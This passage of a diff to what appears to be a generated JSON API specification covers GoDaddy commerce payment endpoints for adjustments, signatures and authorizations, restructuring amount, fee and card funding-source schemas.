"description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, "required": [ - "type", - "number", - "source" - ] + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "cvData": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "CVV information typically at the back of the card.", "writeOnly": true }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "updateAdjustmentById", + "method": "PATCH", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}", + "summary": "Update Adjustment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/merge-patch+json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Patch transaction", + "properties": { + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + } + }, + "title": "Patch Transaction", + "type": "object" + } + }, + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidAdjustmentById", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}", + "summary": "Void Adjustment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Request was successful" + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getAdjustmentSignaturesById", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}/signatures", + "summary": "Get Adjustment Signatures", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Adjustment Signature list", + "schema": { + "allOf": [ + { + "$ref": "#/components/schemas/pagedList" + } + ], + "properties": { + "items": { + "items": { + "$ref": "./models/transaction/Signature.yaml" + }, + "type": "array" + } + } + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "addAdjustmentSignatureByTransactionId", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionId}/signatures", + "summary": "Add Adjustment Signature", + "description": "Add adjustment signature by the transaction ID.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "multipart/form-data", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "signature": { + "description": "Signature data in Binary format", + "format": "binary", + "type": "string", + "writeOnly": true + }, + "signatureUrl": { + "description": "URL of the image uploaded", + "format": "uri", + "readOnly": true, + "type": "string" + } + }, + "title": "Customer Signature", + "type": "object" + } + }, + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidAdjustmentByRefNum", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionRefNum}", + "summary": "Void Adjustment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionRefNum", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/RefNum.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Request was successful" + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getAuthorizations", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/authorizations", + "summary": "Get Authorizations", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Authorization list", + "schema": { + "allOf": [ + { + "properties": { + "links": { + "$ref": "./types/Links.yaml" + }, + "totalItems": { + "type": "integer" + }, + "totalPages": { + "type": "integer" + } + } + } + ], + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", - "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" - } - } - } + "propertyName": "amountType" }, - "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "type", - "number", - "source" - ] + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] - }, - "eVoucherSerial": { - "type": "string" - }, - "eVoucherApprovalCode": { - "type": "string" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" } - } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", "properties": { - "type": { - "type": "string", - "description": "Discriminator type" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "type" - ] + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } ], "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true + "amountType": { + "type": "string" } }, - "required": [ - "token" - ] + "title": "Amount", + "type": "object" }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", + "description": "Payment Context details", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - 